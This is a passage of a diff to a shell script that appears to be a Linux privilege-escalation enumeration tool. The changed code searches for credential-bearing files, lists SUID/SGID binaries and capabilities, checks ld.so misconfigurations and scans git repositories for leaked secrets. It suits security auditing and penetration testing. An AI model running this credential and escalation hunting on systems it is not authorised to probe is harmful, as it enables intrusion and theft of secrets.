printf "%s" "$PSTORAGE_WINDOWS" | grep -E "default\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,default\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"drives\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "drives.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "drives\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,drives\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"groups\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "groups.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "groups\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,groups\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"https-xampp\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https-xampp.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "https-xampp\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,https-xampp\.conf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"https\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "https\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,https\.conf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"iis6\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "iis6.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "iis6\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,iis6\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"index\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "index.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "index\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,index\.dat$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"my\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.cnf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "my\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,my\.cnf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"my\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "my\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,my\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ntuser\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ntuser.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ntuser\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ntuser\.dat$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"pagefile\.sys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pagefile.sys"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "pagefile\.sys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pagefile\.sys$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"printers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "printers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "printers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,printers\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"scclient\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scclient.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "scclient\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,scclient\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"scheduledtasks\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scheduledtasks.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "scheduledtasks\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,scheduledtasks\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"security\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "security.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "security\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,security\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"server\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "server.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "server\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,server\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"setupinfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "setupinfo$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,setupinfo$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"setupinfo\.bak$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo.bak"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "setupinfo\.bak$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,setupinfo\.bak$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sitemanager\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sitemanager.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sitemanager\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sitemanager\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"software$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "software$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,software$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"software\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "software\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,software\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.inf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"system\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "system\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.txt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattended\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattended.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattended\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattended\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"web.*\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "web*.config"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "web.*\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,web.*\.config$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wsl\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wsl.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wsl\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wsl\.exe$,${SED_RED},"; done; echo ""; fi -if [ "$PSTORAGE_OTHER_INTERESTING_FILES" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Other Interesting Files Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.bashrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bashrc"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.bashrc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.bashrc$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.google_authenticator$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".google_authenticator"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.google_authenticator$" | while read f; do ls -ld "$f" | sed -${E} "s,\.google_authenticator$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"hosts\.equiv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hosts.equiv"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "hosts\.equiv$" | while read f; do ls -ld "$f" | sed -${E} "s,hosts\.equiv$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.lesshst$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".lesshst"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.lesshst$" | while read f; do ls -ld "$f" | sed -${E} "s,\.lesshst$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.plan$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".plan"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.plan$" | while read f; do ls -ld "$f" | sed -${E} "s,\.plan$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.profile$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".profile"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.profile$" | while read f; do ls -ld "$f" | sed -${E} "s,\.profile$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.recently-used\.xbel$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".recently-used.xbel"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.recently-used\.xbel$" | while read f; do ls -ld "$f" | sed -${E} "s,\.recently-used\.xbel$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.rhosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".rhosts"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.rhosts$" | while read f; do ls -ld "$f" | sed -${E} "s,\.rhosts$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.sudo_as_admin_successful$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".sudo_as_admin_successful"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.sudo_as_admin_successful$" | while read f; do ls -ld "$f" | sed -${E} "s,\.sudo_as_admin_successful$,${SED_RED},"; done; echo ""; +if [ "$PSTORAGE_OTHER_INTERESTING" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Other Interesting Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.bashrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bashrc"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.bashrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bashrc$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.google_authenticator$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".google_authenticator"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.google_authenticator$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.google_authenticator$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"hosts\.equiv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hosts.equiv"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "hosts\.equiv$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hosts\.equiv$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.lesshst$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".lesshst"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.lesshst$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.lesshst$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.plan$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".plan"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.plan$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.plan$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.profile$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".profile"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.profile$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.profile$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.recently-used\.xbel$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".recently-used.xbel"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.recently-used\.xbel$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.recently-used\.xbel$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.rhosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".rhosts"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.rhosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rhosts$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.sudo_as_admin_successful$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".sudo_as_admin_successful"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.sudo_as_admin_successful$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.sudo_as_admin_successful$,${SED_RED},"; done; echo ""; fi +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then + print_2title "Checking leaks in git repositories" + printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do + if echo "$f" | grep -Eq ".git$"; then + git_dirname=$(dirname "$f") + if [ "$MACPEAS" ]; then + execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" + else + execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" + fi + fi + done +fi + fi echo '' echo '' @@ -3502,20 +4223,16 @@ check_critial_root_path(){ - - - - ##-- IF) SUID print_2title "SUID - Check easy privesc, exploits and write perms" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" if ! [ "$STRINGS" ]; then echo_not_found "strings" fi if ! [ "$STRACE" ]; then echo_not_found "strace" fi -suids_files=$(find / -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) +suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) for s in $suids_files; do s=$(ls -lahtr "$s") #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder @@ -3541,7 +4258,7 @@ for s in $suids_files; do if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," else - echo "$s (Unknown SUID binary)" | sed -${E} "s,/.*,${SED_RED}," + echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED}," printf $ITALIC if ! [ "$FAST" ] && [ "$STRINGS" ]; then $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do @@ -3580,8 +4297,8 @@ echo "" ##-- IF) SGID print_2title "SGID" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" -sgids_files=$(find / -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) for s in $sgids_files; do s=$(ls -lahtr "$s") #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder @@ -3639,63 +4356,75 @@ done; echo "" ##-- IF) Misconfigured ld.so -print_2title "Checking misconfigurations of ld.so" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so" -printf $ITALIC"/etc/ld.so.conf\n"$NC; -cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" -cat /etc/ld.so.conf 2>/dev/null | while read l; do - if echo "$l" | grep -q include; then - ini_path=$(echo "$l" | cut -d " " -f 2) - fpath=$(dirname "$ini_path") - if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi - printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - for f in $fpath/*; do - printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - done - fi -done -echo "" - -##-- IF) Capabilities -print_2title "Capabilities" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities" -echo "Current capabilities:" -(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh" -(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" -echo "" -echo "Shell capabilities:" -(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh" -(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status" -echo "" -echo "Files with capabilities (limited to 50):" -getcap -r / 2>/dev/null | head -n 50 | while read cb; do - capsVB_vuln="" - - for capVB in $capsVB; do - capname="$(echo $capVB | cut -d ':' -f 1)" - capbins="$(echo $capVB | cut -d ':' -f 2)" - if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then - echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW}," - capsVB_vuln="1" - break +if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then + print_2title "Checking misconfigurations of ld.so" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so" + printf $ITALIC"/etc/ld.so.conf\n"$NC; + cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + cat /etc/ld.so.conf 2>/dev/null | while read l; do + if echo "$l" | grep -q include; then + ini_path=$(echo "$l" | cut -d " " -f 2) + fpath=$(dirname "$ini_path") + if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + for f in $fpath/*; do + printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + done fi done - - if ! [ "$capsVB_vuln" ]; then - echo "$cb" | sed -${E} "s,$capsB,${SED_RED}," - fi + echo "" +fi - if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then - echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," +##-- IF) Capabilities +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" + if [ "$(command -v capsh)" ]; then + echo "Current env capabilities:" + (capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh" + echo "Current proc capabilities:" + (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" + echo "" + echo "Parent Shell capabilities:" + (capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh" + else + echo "Current capabilities:" + cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g" + echo "" + echo "Shell capabilities:" + cat /proc/$PPID/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g" fi -done -echo "" + echo "" + echo "Files with capabilities (limited to 50):" + getcap -r / 2>/dev/null | head -n 50 | while read cb; do + capsVB_vuln="" + + for capVB in $capsVB; do + capname="$(echo $capVB | cut -d ':' -f 1)" + capbins="$(echo $capVB | cut -d ':' -f 2)" + if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then + echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW}," + capsVB_vuln="1" + break + fi + done + + if ! [ "$capsVB_vuln" ]; then + echo "$cb" | sed -${E} "s,$capsB,${SED_RED}," + fi + + if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then + echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," + fi + done + echo "" +fi ##-- IF) Users with capabilities if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then print_2title "Users with capabilities" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" if [ -f "/etc/security/capability.conf" ]; then grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," else echo_not_found "/etc/security/capability.conf" @@ -3703,10 +4432,23 @@ if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then echo "" fi +##-- IF) AppArmor profiles to prevent suid/capabilities abuse +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then + print_2title "AppArmor binary profiles" + ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\." + echo "" + fi +fi + ##-- IF) Files with ACLs print_2title "Files with ACLs (limited to 